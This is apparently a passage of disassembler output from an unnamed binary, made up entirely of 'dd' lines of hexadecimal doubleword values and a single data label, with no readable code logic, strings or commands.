0DEEC79A4h, 3206062h, 6E5A4D4h, 22A8BA28h dd 4A001950h, 8C3F06C1h, 2670134Bh, 1024904Ch, 415310E4h dd 39B91B05h, 29D80FABh, 2BF34A83h, 25A803E5h, 0F2E00538h dd 0D403213Bh, 711FB43Dh, 2248008Dh, 43FBEA4Bh, 20F9D6Dh dd 81D0C1A6h, 28ADB12Ch, 6DB72DDh, 5C552940h, 493E58F7h dd 9FB689AFh, 0B259018Ah, 0C450AC8Ch, 77BF12A7h, 2B4600FFh dd 0C5AF979Ah, 0A502ADEAh, 2A8BE0B6h, 29C0A09Ch, 0A1B479E1h dd 28C417D0h, 0B1F564B9h, 0C8C0CBCCh, 5E7CC0A7h, 40786A8h dd 0FD71B63Dh, 433F0241h, 79C99450h, 9D49083h, 411F5CDDh dd 29ECFCA0h, 0A490A9C5h, 0A657D503h, 59A2A8Dh, 0F9EC76A9h dd 5BC44F42h, 0A969D062h, 4AAAB881h, 10E7E6F2h, 0DC608844h dd 1B09C995h, 0A087A9D1h, 0A6605C20h, 40BA36CBh, 9A0A5170h dd 0DCFCB816h, 0D593A83h, 0A5200610h, 189A2890h, 0E6F2FF00h dd 99115F46h, 4C20C249h, 3C52C4A5h, 0A7B6EA18h, 0BDC9D9h dd 92AB801h, 8CE448Bh, 4E97404h, 8CC0DD13h, 608D115Eh dd 0B2294843h, 0B9A03B62h, 7F00EB12h, 369A5CD6h, 0E40C9839h dd 475E007Bh, 0E21C101Eh, 23003878h, 9F72B24Eh, 22469h dd 9237A843h, 0CABA6DB4h, 0A3E96000h, 0E2973D29h, 0C08A004Dh dd 93C6A74Ch, 720041A9h, 0F13491FCh, 1EEA2E44h, 409AD1E4h dd 8BB3F54Ah, 300EC7Ah, 5C96F47Fh, 3A3DF51h, 0F07B400Fh dd 59D0A8C8h, 0F7005863h, 776B47B3h, 7C1160D1h, 4C2B075Dh dd 80635C50h, 0A99FF5C4h, 222A31C0h, 0C2A515h, 9DE1B6ACh dd 94F27FB9h, 419FD800h, 265D3E9Ah, 769E07EFh, 0A0190h dd 0B3BE5884h, 89B90900h, 79A259D7h, 143A53E2h, 6D8E55C0h dd 7301DF66h, 0FD859075h, 83011F6h, 43A9C079h, 0FB3AB17Bh dd 0F0487D06h, 60084DE7h, 53392144h, 2800CFB1h, 3D8CC91Eh dd 0A4F151h, 7FD4D2E0h, 0EA5B0517h, 0CDD69F03h, 0B08DA5B7h dd 0F04C710Ch, 11B40350h, 0F9025CFBh, 1C801ED5h, 85BEC03Dh dd 0D7048C3h, 7F30DC1Dh dd 985415h, 90AC2B28h, 374F2Dh, 0A1F1F087h, 6F7D9DD1h dd 48F37AFAh, 660A67B4h, 0C041BFA7h, 7FB45701h, 2183F264h dd 0F6A202F9h, 68EE3CD0h, 0ED2CDC1Dh, 631808h, 44A25543h dd 0E8005876h, 7BCB0FEBh, 3D172EDh, 0CF8E7461h, 0E07F3B48h dd 9B365C0Ah, 0F181E4E3h, 580DB5F5h, 909F10C0h, 0DF08D094h dd 2D4E2060h, 0E1139EB5h, 3A0589CDh, 8C102C23h, 0BC600A88h dd 0DA8F9447h, 895D801Ch, 1673219h, 4FE61070h, 0F822296Dh dd 0D407751Eh, 0D0E461CDh, 0FF3BA710h, 1AF00FBh, 0DD39E330h dd 0AC01E17Fh, 8D9EA344h, 0F8304FA9h, 14CE074Bh, 70A4427Ch dd 0CB30C6ACh, 0A760BE00h, 0DC4CF759h, 0EF7397h, 0F60E514Bh dd 5BB09AC3h, 968D3Eh, 7C186ABCh, 0F899A778h, 957B2850h dd 2124430Ch, 0AD988867h, 4377344h, 4BF2385h, 23E00261h dd 0D1B601D2h, 0A9009855h, 0E67489EEh, 2C249700h, 5794C9D5h dd 0E04E3017h, 0A17E5020h, 0BA4C281Dh, 5C695898h, 0C7B874D7h dd 448DA239h, 16A8117h, 0F285E93Eh, 19867240h, 5700862h dd 0FA6003E1h, 619E0FC3h, 21F1F9F0h, 18118320h, 0C047D0F6h dd 0D96B83Bh, 80FFE9F2h, 0CFA9C3C9h, 0DB070188h, 210E80BEh dd 0CD41B4F5h, 82D2EED9h, 0D7D84E99h, 0B25F400Dh, 440E0033h dd 0FC6F91FBh, 70C0C0B3h, 3AD8DB86h, 34F189Ah, 578BD8DCh dd 0E9527F00h, 7E854CCh, 8070C0BCh, 600AA566h, 0CDEFF100h dd 501AB953h, 208467D7h, 0ED8AC036h, 0F430D59Eh, 95FFD1CEh dd 0B6EA9Bh, 0FBDB5869h, 9A0F466Ch, 480E7300h, 0EB2B57FDh dd 0DF7F06h, 6A725D54h, 0D0E917C7h, 7F131A03h, 186B28DEh dd 0E1B9EF51h, 100081DAh, 91D96AABh, 5C343CB6h, 1E015157h dd 0EF338C4Dh, 4EBBC86Ch, 48FFA128h, 0DBC9FAA0h, 2E546430h dd 5AB0ABAh, 0A9213CEEh, 0D6F600F4h, 6E7D9C5h, 76DC4900h dd 0B3A539F6h, 0A485296Bh, 0D08FFD04h, 6818CA80h, 52FFAB04h dd 0D2165B03h, 71F0E4E0h, 0D215800h, 0F36F62EDh, 13AB044Eh dd 8375C852h, 2921CDACh, 20690455h, 422F08FDh, 922CED1h dd 3BF42259h, 215C6B22h, 2AC9716h, 6F2882ADh, 20072403h dd 80A6F23Eh, 6C8061A1h, 0BB640058h, 11ABF37Bh, 0FC007107h dd 0EEE253A2h, 88FF20h, 0CF75B531h, 2F9EF4F8h, 2177830Fh dd 0A1CB0076h, 3378F6h, 8E939215h, 7CBFB24Fh, 51866D0Eh dd 84B8408Ah, 1EAE54F1h, 70B1746h, 80A9BEDEh, 3E3AA299h dd 0AF5AF3F6h, 48B5E0h, 1FECE2ACh, 796C3566h, 6E745A07h dd 23B0140Ch, 44D462h, 4B108A4Ch, 72AC83BEh, 9A293700h dd 0D54A68CCh, 0DF760041h, 0EC3F47D2h, 0F300880Dh, 70333CCFh dd 0EA19F98Ah, 0CC30143h, 0AA9B6A1Dh, 185FF885h, 0F40A3777h dd 0F875EEA0h, 5D6A580h, 4C2794h, 363E192h, 0CBEB6156h dd 0F153731Eh, 8BDC8680h, 0AC520DBh, 8E1DAD25h, 0C3BC0CC8h dd 1003D710h, 1F2CE18h, 0CD54D9D5h, 3D32824h, 939FB852h dd 60134D2Ah, 721DD4BDh, 48E880BAh, 0DB9A2F0Fh, 129D005Dh dd 4C867782h, 0DF00C37Fh, 4357494Fh, 75DCB16h, 0E1C4F251h dd 3427D5h, 0B12B2DAEh, 6D0E931Ch, 5FE2AD40h, 730F7C2h dd 0CAD15240h, 683E50A5h, 633CF6C8h, 0CC7980EAh, 17549339h dd 6FE23BF5h, 1AC02D80h, 71124BA7h, 0E0152400h, 63E3B33Eh dd 0A44C0E82h, 55C15717h, 43BF6B8Ah, 0FBD8589Ch, 2F00D926h dd 7C62BD77h, 0C0114EE8h, 945BCCD0h, 0F100310Dh, 0CA6B590Bh dd 0F4EB7FDAh, 6FFF005Ah, 8774D98Dh, 0AD1D6612h, 0B1923372h dd 0E34A2C07h, 0BE1DE721h, 28200ADDh, 0EB8B0001h, 97CA223Dh dd 85015C18h, 48D7968Ch, 6C0EF09h, 0EC9C07C5h, 531B7FD3h dd 0DDA80D1Eh, 8B00D694h, 0BEC3D5CFh, 7AC4F4Dh, 545EF7E9h dd 80E5F74Eh, 0B0523A1Ah, 4FC7FB00h, 0AE48B315h, 0EE11008Bh dd 3AD0C481h, 7C007293h, 2B0E35BEh, 137F254h, 0ADC30F9Ch dd 203BED97h, 0D444912Ch, 0BCD63EA8h, 6C0FE680h, 0B73EA103h dd 0AB297F0Eh, 0CB39E034h, 382517AEh, 0BE01B5E6h, 289ACE6Fh dd 0E0002480h, 5504D0E7h, 779BFB00h, 7853CCDBh, 2CF40039h dd 80B34617h, 68004C2Ah, 9D526D4Bh, 99ABDCh, 0E033981Fh dd 836330DEh, 0F4092900h, 1920B8AEh, 92C200A7h, 6EE4B037h dd 79009C3Bh, 0E769367h, 428DF43h, 4D76C94h, 0AB80E034h dd 8819CA26h, 79C91D00h, 3E8290h, 0C003F9E5h, 14BAD871h dd 256EDC00h, 8AAD89B8h, 0D26403E3h, 67F27E2Dh, 0DF5BFDD8h dd 0DB7F7402h, 4001A0A3h, 25AA46h, 0CCF342B0h, 534FB6F7h dd 0E02EB21Dh, 3EBAF2C0h, 450361Eh, 6A3CB09h, 0CC77C2EBh dd 37AFA490h, 0F3C23F00h, 0CFCD56ACh, 0DF2403FDh, 786A9ED0h dd 4D250DE0h, 0B54AA00h, 35603AE3h, 1640029h, 0C926DD96h dd 0CB28947Bh, 0BB10E0BAh, 1270A520h, 3508EF6h, 9CBCE5E4h dd 0C4CA03C1h, 0D0A03B1Dh, 10063FBh, 647B579Eh, 7D19CF41h dd 0C79A00D0h, 7EDDE765h, 9575FA12h, 17EDF700h, 517D6A29h dd 0B9B00DCh, 8A288F14h, 0C600359Dh, 0D58858DAh, 65A032h dd 9E996D63h, 190D0BCAh, 0CC1C710Fh, 55037F17h, 0D0FFBABDh dd 7E26B9h, 0F0282ED8h, 90459705h, 0FE61320Eh, 6501FE12h dd 55471BBDh, 0CE412080h, 0F124F2A4h, 15C5DE0Fh, 2A3403CCh dd 0D1069861h, 0A0F703E4h, 854CE6C0h, 482C81C4h, 9CE03B5Ch dd 41D700A7h, 0F18E83B5h, 6378B805h, 10585600h, 9DDD6F6h dd 6D290344h, 0A94D4BD5h, 0EF95FCA0h, 80549900h, 0DFA396Eh dd 0E6E300ADh, 0BF0B5501h, 411C082Ch, 11C0EF24h, 0FB6D28DBh dd 0FAC900E8h, 681B318h, 963835F9h, 8ABA9E92h, 64AE3A00h dd 2D77653h, 39CF6DE7h, 0A240F0EDh, 0ECFE3CA2h, 0DC9B031Fh dd 463BE3C0h, 0CDDDE8h, 0AD7BEE5h, 95F95421h, 337A100h dd 0C805407Bh, 9FF10099h, 245E68AAh, 3E00BC78h, 0E9216FBDh dd 3E673D3h, 2ECB9311h, 0F200206Dh, 77C3EAB1h, 0BE48C5h dd 0ECD71F57h, 178249B0h, 0DD007EE0h, 6237CF69h, 16A459Fh dd 951B2F3Dh, 70B4C828h, 0D7FE1430h, 0BB003898h, 0AF068229h dd 963F9DCh, 0FE2D0121h, 0F183A020h, 9094691h, 20C82E0Dh dd 10FA49C4h, 0BC7255h, 8BF9EC7Ch, 0AD2E7B6Ah, 91266803h dd 0C167A7C8h, 5AD05803h, 0AC78099Dh, 7405A28Dh, 4D00D0FCh dd 0E100BBE3h, 7D376F96h, 0EB1D285h, 0F38CFF0h, 28BFE6E1h dd 0B326E0C7h, 0A5514700h, 25D2DA35h, 854301A8h, 209E8381h dd 0E460D2A3h, 8E5CA456h, 5A409F10h, 4091EB54h, 0DDA00187h dd 34D8B9E5h, 3176F445h, 6BBD3C17h, 0D7F33100h, 0E98F72h dd 7D971A74h, 8668A9B2h, 0B5628A00h, 0C8ACE195h, 0E0663C7Ch dd 0DB92267Eh, 101FD4h, 0C155B44h, 8E01D27Bh, 0B01A6A47h dd 6930A1F2h, 5C3C0269h, 0A7DBDFD9h, 0ED7A8CE0h, 3054BD18h dd 3802F078h, 7E80A69Eh, 0D5C2743Fh, 37002E14h, 88827008h dd 0EFB97A92h, 0ADA470h, 0E2FF8ADDh, 0B497C012h, 0BDE43100h dd 3E658CC9h, 0E52F0E93h, 3800B9A4h, 3667AF5Fh, 55D8ED04h dd 668087A1h, 74B3D170h, 6F310098h, 2B0DD7AAh, 0C9F842BAh dd 0A83D1177h, 0EC390040h, 0E1E5A29Ch, 348A58E2h, 1B00B76h dd 6400FD28h, 1AA8B7B6h, 1B353000h, 0A0BCC384h, 2AF80012h dd 885A2D2Bh, 0DC009996h, 0F04183Ch, 9A976Fh, 418C08C8h dd 0B3EA0501h, 841DC898h, 8142314Fh, 4165E574h, 10F433ABh dd 5DECC2h, 0C7643E25h dword_518FD4 dd 0FA271BBCh, 0A6061307h, 0DEA08F95h, 4F27339h, 30C23492h dd 6598C025h, 4F3829CDh, 0D7CE0077h, 6DEFC6FAh, 0E160C44h dd 0FF2931CFh, 98B17B03h, 0AFE0D890h, 6AB13547h, 2C20DAECh dd 0D32303BCh, 9342DB2Ch, 8520A9D8h, 1761AA00h, 1F914473h dd 0ED070047h, 965C0A8Ch, 2100A86Eh, 3A9F372Bh, 979E1B3h dd 0CE2649C1h, 58786586h, 1722BF1Dh, 0AAEFD6C3h, 0DFA0E07Fh dd 75D70087h, 468A4130h, 0EB248247h, 0D800DCBBh, 5F630453h dd 0D6F500BDh, 0CB488BDAh, 0C200FD77h, 4D4ED1E1h, 0F1B57B3h dd 0F1ECA57Ch, 7F5D64E3h, 0F4DD84E8h, 5969A600h, 4755F07Bh dd 7C514054h, 44C53A29h, 100CD28h, 20998C41h, 5AFB0Fh dd 0D57338EDh, 64195E36h, 80321E03h, 90793B9Fh, 2422EAEFh dd 17144FDBh, 1EA82C7Ch, 13D77B00h, 18FC38D3h, 0C6D00CE8h dd 59AEA341h, 104A148h, 6EB6E7A7h, 5BE4DB7Bh, 0BDD4004Ah dd 6BF8A83Eh, 6DE23F79h, 0CBCFC90Bh, 0BE1800EAh, 0B44FE5Eh dd 4E368AEEh, 0C968F023h, 4D62D9D0h, 3E56B3Dh, 36462C49h dd 0D25490D6h, 0BA4BB3h, 0D59621C4h, 0A725ABE4h, 0A1CC005Fh dd 0FA576E09h, 94013E78h, 408EAEh, 416A1999h, 24015ADEh dd 4B8676F3h, 0E4641CCFh, 0CB220ED7h, 1020487Eh, 31D2718Eh dd 0F003BEF8h, 0F5941BF8h, 24789E4Ah, 34C939Fh, 0B115ADC9h dd 0B2B3B803h, 24CDECE7h, 14CFCC9h, 71DEC475h, 0EE9C5374h dd 6EFE26D0h, 7DCFE0A0h, 834C2B00h, 719BB313h, 46741E4Bh dd 0E8E340BEh, 0AD318424h, 0D2FD100h, 7C931C14h, 63CD0F98h dd 0AA6FA829h, 19268B40h, 3F1CF615h, 0C340A9BFh, 0B7CE29F1h dd 43A10038h, 0DC472BEh, 0F600D164h, 218E7167h, 792CDCA7h dd 35B73F32h, 91BA0480h, 9B3DF053h, 1DB4DE09h, 0A12700E3h dd 82306Ch, 28A661E4h, 0BCB01E99h, 1B50A500h, 0A3C16256h dd 5EB10002h, 0E9CDC9C0h, 0D078468Fh, 0F7A9F003h, 50FAF606h dd 329C8AEh, 16D55C6h, 30008DD0h, 1173A891h, 12615116h dd 8B3D4Fh, 558DB5FCh, 0E43CAA70h, 6EBD83BBh, 0D8D9BA79h dd 76A8559h, 42401639h, 46B380EDh, 9D00E150h, 79E2537h dd 0FE19ACh, 75DA215Bh, 1DD73899h, 0A282DF50h, 17F86A09h dd 903093FBh, 858BE5h, 0BE92B5FCh, 0C28D28E2h, 2FF4AA00h dd 0EC81ED62h, 13C15877h, 82B5D51Eh, 4F8BAC53h, 28B40C41h dd 0C3E7004Ch, 8DAAC99Eh, 0EF2E0097h, 357E013Eh, 66007A8Bh dd 0F167A094h, 3C9ED08h, 0BAF9D5C6h, 40D8D0C5h, 5300AE4Ch dd 0D7F4D852h, 19A7Fh, 0A2F7BD2h, 2972036Bh, 13A42C12h dd 5D2D3080h, 9B93001Eh, 0A058127Bh, 0E0FCC709h, 839C6200h dd 0E630AF70h, 28270086h, 0A3EC0C2Dh, 5E009A7Dh, 217A8E5Bh dd 90DCF3E0h, 16DF3CA0h, 0E06AFB12h, 0DE0764C3h, 0BB2ACB2Fh dd 3DAAFCA0h, 0EA800049h, 0A3D4D5C4h, 8800CC25h, 0E19F5609h dd 2F1EED2h, 5216FFEDh, 0F38F32ABh, 7AE25EC0h, 0F4011BDEh dd 71C0235Dh, 8860409Fh, 57742C6Bh, 98F30208h, 0AC808ED1h dd 641AB578h, 0E77538h, 0E5D5CD84h, 5D8F13BFh, 3201185Dh dd 854B6D9Dh, 555F61Dh, 8480C74Ah, 0C03058E9h, 776CC110h dd 1C03FCF5h, 27709FAEh, 55E3C80Fh, 82D00A6h, 2CF4D16Bh dd 0A9009E09h, 9AB5A2B0h, 0ECEBF04h, 5F2ADBA7h, 0EFCC83A0h dd 54909FCDh, 0AE6A6B00h, 0E10FC943h, 0E43C003Fh, 745DD591h dd 97008423h, 7E61CAFDh, 450C17Ah, 0A2BE721Dh, 3738D03Ah dd 531C73B0h, 80BF826Fh, 467EF00Eh, 502B1E23h, 712FCD6h dd 19EB18B5h, 0AF66B12Ah, 368C401h, 89C5CA07h, 2CB0C444h dd 3C7C0B62h, 71004F58h, 0CB5D8088h, 3BE2272Eh, 0EE674213h dd 9354C700h, 9703A46h, 0A8C38143h, 0BB8DA480h, 0F898A0FDh dd 0BA36400h, 5170B6C5h, 0C0075046h, 169A30D0h, 0E37A4FB9h dd 0B8AD4C00h, 0B4507361h, 23F83098h, 0EFE77720h, 5C0E68B0h dd 60521D71h, 8ED9F250h, 913D0054h, 42D03524h, 830FE8B4h dd 9499D633h, 8A571DD4h, 1186320Dh, 794C96F8h, 44C7191Bh dd 0C46DFE4Dh, 9A72D399h, 0B4784026h, 2095F500h, 0CE0FF8FDh dd 0BEC03B20h, 5A70D1DBh, 0C0D52900h, 124EBB05h, 0F5250445h dd 0E0E210A0h, 0C00EBC0h, 0BA89817Fh, 0B261ADE4h, 0F9F1F24h dd 11681845h, 422CE2A3h, 78302FAEh, 9E9F70Ch, 0DD95FD6Ch dd 61255C80h, 42E24BFh, 45033256h, 3DFBBEFEh, 4700B120h dd 0B8D95844h, 3006C16h, 0B4E82E43h, 6E8019h, 0FFFA9E5Dh dd 0D19F3CEEh, 0F7BD330Bh, 221041F9h, 0C0809029h, 0DE5CB2C4h dd 0F9458D0Bh, 0B9D820E9h, 2F98BCh, 52CAC9F2h, 0E85ED7C0h dd 0EE974B0Eh, 3A0840DEh, 485B85Bh, 215FB60Ah, 9517C02Ch dd 9E00C9F4h, 0AC67D525h, 36D937h, 6A779FD8h, 87D28475h dd 0AA981374h, 7EAE270Eh, 0DC7C80BCh, 7A36A56Ah, 61850143h dd 6C8C5779h, 0EF0068C8h, 5182B421h, 0E118D6EAh, 44F83501h dd 7920EDC9h, 7A900EBEh, 4D00AF92h, 0DE8014DDh, 75CE9600h dd 5EF2510Ah, 0D2520731h, 40981269h, 0E546288h, 2B75E100h dd 9359DD96h, 0D87A30C0h, 0CD455311h, 0FCE88502h, 0E15DAE15h dd 0B2F8C328h, 413C00F7h, 339C63Fh, 0CD00CBC7h, 9CF4EB08h dd 5EF04Dh, 0CE4853BFh, 3427E36Fh, 3DA4DB00h, 99F6F356h dd 39575ACh, 8B40034Fh, 72A0092Dh, 0CB00D1E0h, 45D71F3Dh dd 0D5418Fh, 3EC26AA5h, 53A1449h, 988B9000h, 88342035h dd 8350C755h, 440EE71h, 885B97Ch, 653AF1Dh, 6B9F21F0h dd 37831301h, 0B60441DCh, 0A79B1h, 0B0D094h, 3E05D3C0h dd 28F3DC66h, 542A2107h, 0E06F26DFh, 0C37CF02Fh, 0BA020088h dd 4DA91AEAh, 4B07D93h, 84B6BF04h, 0ECC58D6Ch, 0B4904Bh dd 601CACD0h, 0D898005Fh, 0F043B0B6h, 0C7E032C2h, 0EF07807Eh dd 0E95162DAh, 3C5BB210h, 7EEC0052h, 4F0C5F9Ah, 0A600A1D5h dd 43B765D3h, 3CD6FB85h, 758F1A58h, 0F0E0334Dh, 1B64DD4Ch dd 0E2766900h, 0FCC92D53h, 3CA0395Ah, 407B541Fh, 81ADD851h dd 0D0005FF3h, 0C403290Ah, 3AAA19h, 46852C94h, 0A2CB4749h dd 0BD59D100h, 37D623E8h, 0C3450080h, 0BF2F565h, 10C08B5Fh dd 0EEB8A152h, 54F300E5h, 0E78C3B02h, 2F02EAECh, 2575C59Dh dd 0BCE44860h, 9B08C04Fh, 0D3CE3B68h, 7302DA00h, 90F7E648h dd 0E5302624h, 0BF8E003Ch, 75A8BDA2h, 1C798B70h, 4BEAC20Fh dd 66EC8093h, 62FD53h, 83318295h, 8AD0C44Dh, 0F36383Ah dd 0AEA2104Ch, 5052E0F0h, 0F261DADh, 0ABB65E72h, 24D9F380h dd 6B01F57Bh, 8AA5FAEEh, 0D8F3ED0Fh, 7941ADh, 45683E3Fh dd 7AE37FE0h, 44496D1Dh, 6E07A580h, 90C19Ah, 8ACB5E47h dd 0A6D4F867h, 0C2434509h, 0BA2C200Bh, 1310647Bh, 42DE3DD2h dd 581BB98h, 505EDC60h, 19B50630h, 48FD380h, 4AA603B0h dd 0E7E8C02Bh, 881C5F0Fh, 98B0CEF2h, 2C126A4Eh, 13FDA231h dd 25C8013Ch, 0C99A48EDh, 8EF489FFh, 0D2160015h, 18433876h dd 90B5AF86h, 30919A56h, 4C225828h, 45412592h, 58C35C80h dd 3E00DE8Fh, 0B4F83A8h, 0F6A201E2h, 1F4176CCh, 7E843h dd 0A47898DBh, 9A35808Fh, 68E4308Eh, 6C82003Bh, 8798CEC6h dd 50C4EF0Eh, 5DC39AB8h, 0AA10000Dh, 0C81C94DBh, 590F5F04h dd 1DC3CC14h, 0A5F5D7C0h, 5C24AEB0h, 9A006513h, 3D72D375h dd 1213ED10h, 141F8DF1h, 0AC80640h, 10C4CB1h, 1930669Ah dd 0E4BD5D63h, 3B1FACE5h dd 1284D8E8h, 0C803616h, 0F72467h, 0F17793E3h, 0BFB797E6h dd 6B0B0D12h, 72322200h, 0D48E7Bh, 0D286209Ah, 0C40A30D6h dd 64E4EA0Bh, 364C0469h, 0EE1000FAh, 1D5C8196h, 1E972800h dd 9E1A8FC6h, 0D0C0043Dh, 0F492B61Fh, 0DA00B4ECh, 5B3768E6h dd 0B7E939h, 0F9248F96h, 1A5E2327h, 1FD0E83Fh, 318F30F3h dd 87A8291Bh, 0A4C79F1Ch, 93330CB0h, 79780052h, 0FAD3299Ah dd 0C32674BDh, 7D07C660h, 24E082B5h, 0FA6D3812h, 0E73109BAh dd 442070FFh, 0EEDB718Bh, 6C89AD09h, 0FA20006Dh, 7B492B2h dd 0A31D75C0h, 624FBF7Bh, 267DBBE0h, 1804BA63h, 1A367EBEh dd 29A40E0h, 70DF814Fh, 7460CDF3h, 61E03F82h, 31C33Bh dd 47AD716h, 0EAC85590h, 80834A0Dh, 616C8A7Ch, 96D72A16h dd 69F7CC00h, 3170F2Ch, 0F806AA02h, 4DE88973h, 7C1C841Bh dd 3C80D94Ch, 3EC803FCh, 0A7300009h, 0C74229CFh, 0A90444DDh dd 57E84631h, 4EE962C0h, 75770020h, 4C43E0E1h, 0F89091D5h dd 795D1501h, 569B9E7Bh, 98FC120h, 975FDB1h, 6F60EE8Eh dd 6D576829h, 6C340700h, 95A61A89h, 0E35B027Dh, 65AC4C71h dd 0F7333FC0h, 8A987600h, 1AD53D24h, 0B3085811h, 0B42B017Fh dd 2C57D6CEh, 2803C922h, 0AC600020h, 37E146C5h, 6A55009Fh dd 7A811D84h, 0E40042D6h, 0A9085D03h, 0A61D428h, 0A7F2D311h dd 0FC7100F8h, 7CF1F617h, 0AF053092h, 0E9CF1C9Ah, 506208C1h dd 603CE8E9h, 285EB7A0h, 0BD029502h, 8051299Ch, 1F21C0DCh dd 5C62E4AFh, 277FC1ADh, 0E00EF7C6h, 0C4471200h, 0C800AA8Ch dd 806D085h, 5D382Bh, 6FF7F12Dh, 0D9E84EC9h, 5CCAF000h dd 0C62E958h, 0AA6E5809h, 0EC89EA00h, 0A3E5749Ah, 0FCF34100h dd 0E01E952Eh, 0A881007Eh, 80F696A5h, 0B008898h, 8AFA436h dd 0E83B130h, 2E3D81CDh, 6E761E82h, 0D7FC0450h, 78CC0F2Ch dd 0B605AE00h, 0ECBF595h, 99AA264Ch, 852434C1h, 289Fh dd 0FE77D9DAh, 5CC2911Bh, 431CA47Fh, 0EC8F030Ah, 593D73B3h dd 0ACD1006Bh, 22236FD0h, 0EE19C042h, 4A20C8B6h, 41013101h dd 0C2371DDh, 4B81052h, 723B077Ah, 44A32D41h, 180C4603h dd 614FDF3Ah, 39B10F14h, 0A70E9CC8h, 73B9EE67h, 28032246h dd 0F1512FB7h, 8052FA33h, 0D097994Ch, 0DC4B0094h, 8F21DB53h dd 82F0DE2Fh, 58EE825h, 5C218534h, 44F87AC2h, 1817407h dd 0C891EE9Ah, 0D48EB4E6h, 67019E22h, 0FD27879Dh, 4ECC0116h dd 130DF8B9h, 0FA2C25h, 89F809A6h, 6E1CEE3Dh, 1A802D5Ah dd 58A5154h, 301F0028h, 0A6A2814Ah, 851489E4h, 81D4D0E7h dd 4779E64Bh, 19E93AE4h, 811E8CCh, 0DC21809Fh, 0D30C79E0h dd 0C6560097h, 491E4F09h, 7D00F6C0h, 828B556Fh, 0D9EF33E4h dd 18096030h, 0C87950E8h, 3052EBEAh, 0E2AE2067h, 503FA79h dd 0C677EF76h, 0F334C870h, 0EAACA84Fh, 0C97300EBh, 284625ADh dd 0D21457CCh, 80A82B7Ch, 336839A4h, 11B660ADh, 0F292B993h dd 2FD23B01h, 32823EC9h, 218E84D1h, 0D3209171h, 9590626h dd 20C3BFCh, 996833C6h, 5E961858h, 3A4BF084h, 83187C00h dd 0F3FE1AE4h, 0AB18C6E3h, 99725119h, 5E914A00h, 27AA88F6h dd 22FE00ECh, 669E07C3h, 0DF07199Fh, 1B1F1839h, 0AB9CE6B0h dd 0F34318A4h, 0DCE5E950h, 0CCA7F124h, 0A24FAC03h, 28082608h dd 0F5458048h, 0C97062F1h, 0FF10E500h, 97D0CA3Dh, 0A9AC61B2h dd 4375CF5Ah, 93A9D6C8h, 218899Eh, 984383A8h, 21100083h dd 9FC20EF3h, 800FB0AAh, 0C088DEB7h, 0B99663B5h, 3C1017EAh dd 669004E9h, 6422C3F9h, 0C8074D99h, 623E38E3h, 97758067h dd 608B49A5h, 7B44007Eh, 6506A7D0h, 5005EE7h, 96478E0Ch dd 686D64h, 431B2874h, 27E1DB6h, 8E8F400h, 0CCD59526h dd 0E0A700DBh, 0CD3CBB59h, 0D7009C4Bh, 34F8A605h, 3A63BAh dd 7D1602A0h, 0C2BDDF65h, 47DE2001h, 294A7BFDh, 0FB05DCh dd 0A30685C5h, 0E1846775h, 9317A703h, 0D1BFA65Fh, 0F7FC9978h dd 0A4921ADFh, 0F36048F8h, 445C9BBCh, 1C007740h, 713D4513h dd 1CB3C581h, 40D0DC19h, 0F2473051h, 570FF998h, 0A0FD4358h dd 22938BFh, 0E753013Ah, 0CF3994AFh, 8C4CC6Eh, 5600CE7Eh dd 8833E90Fh, 759AF7FDh, 4CDC0E8Ah, 7E0AEE6h, 2DEB11E3h dd 630F3572h, 12A2DEh, 4742242Bh, 8EDD0043h, 0E269AD3Ch dd 0B0F4D4D3h, 77D8E660h, 0E5C79Ch, 15885B78h, 0C386D533h dd 29CDF500h, 0B84ED430h, 458530Eh, 0DB4F0CEEh, 3085101Dh dd 0B618B304h, 0D30F3D2Eh, 804C7D13h, 76CF5774h, 0E48803C1h dd 497C7582h, 6F192811h, 0FCD5810h, 0A0A529ACh, 4AAE7BF8h dd 0CEF10FBEh, 30E924A3h, 0B2310Eh, 0C91269A9h, 6100C875h dd 953B074Eh, 0CC7D5Ch, 3DD4A815h, 0F0AA3F7Ch, 0A122FC1Eh dd 51805340h, 5C2B5CC1h, 5503E57Dh, 0DB79F13Dh, 4CE2BFC0h dd 0FD94FE00h, 6B9131D7h, 0AFE000CAh, 7553BBB5h, 7600D0CFh dd 61104935h, 0A52C2Fh, 922E4A37h, 66AA419Ch, 2638A300h dd 67608DC7h, 0FFFE0150h, 0C2C4B5D0h, 0FC1621B4h, 0C900BE76h dd 0BBA9FDA5h, 0C39C1Fh, 147C5506h, 19E07890h, 0AF37600h dd 687174ABh, 52E802DCh, 153D0B8h, 1C3C6DE0h, 9507FE7Ah dd 77406B31h, 9D0C3B40h, 24AB0051h, 0FDFEA9E8h, 0C1015672h dd 8E044662h, 2980C911h, 7B4117DFh, 0F23F6682h, 43EE80C0h dd 0AF1E06Ch, 84FEBDh, 0E7212BF5h, 5593331Ch, 9ED9D100h dd 0DD6B4B76h, 0B4731D51h, 383EC05Ah, 44076A30h, 0C5698D0Eh dd 0F79603E5h, 90C09F70h, 0C48586h, 518F4ACDh, 6993AC27h dd 0AFE138h, 31A9ED08h, 1E55C0Fh, 9DF2F1Dh, 0C81EBC4Ch dd 0DEE07CB2h, 0FBC88000h, 3715F15Bh, 0C7D800F3h, 0B8095CCCh dd 0BC008C65h, 59D064E8h, 0F1B2100Ch, 1805024h, 75C23ADDh dd 0ECD7ADD8h, 4301F737h, 2340D451h, 0CDC5C57h, 0A66800FDh dd 49C7E2Bh, 191FD088h, 0A3431BA5h, 0A8F34851h, 7999BCh dd 7AC12776h, 57E13885h, 0E7D34E1Eh, 0A0707C9Eh, 933675h dd 0FAD9B3D8h, 0CDB23ECCh, 0C1ACBE00h, 0A2155418h, 9FEB0062h dd 6B24C5B0h, 8704F730h, 0CB22D5D9h, 26CD0C80h, 68FB30C4h dd 83588A11h, 5DE83F00h, 6ECD60E9h, 0C3DB1EECh, 485E805Fh dd 0F50A9DC9h, 96430500h, 86ACE8Ch, 0D8C70BCDh, 6B0E1094h dd 0EA41ABAFh, 20490D0Fh, 5A006615h, 0DBB6E7DEh, 1C5F6CB0h dd 40FFCE7Eh, 1F68C52Eh, 0D80917D4h, 2239C6h, 62F49576h dd 9018C01Ch, 9BF23327h, 2D092BF6h, 0A08D21CBh, 8B034100h dd 0FCA200C4h, 0BD6EDB5Ah, 9E0790EDh, 74516B0Ch, 0C16421F0h dd 0FC380094h, 3F42E5B1h, 0AE3A66F0h, 468BA43h, 2DB7031Eh dd 0E5CA0080h, 1D09245h, 0F9817AD0h, 50EC6A51h, 955702F0h dd 0FE329802h, 6BCC44EDh, 0F996B050h, 38FCD0h, 0FEBE4705h dd 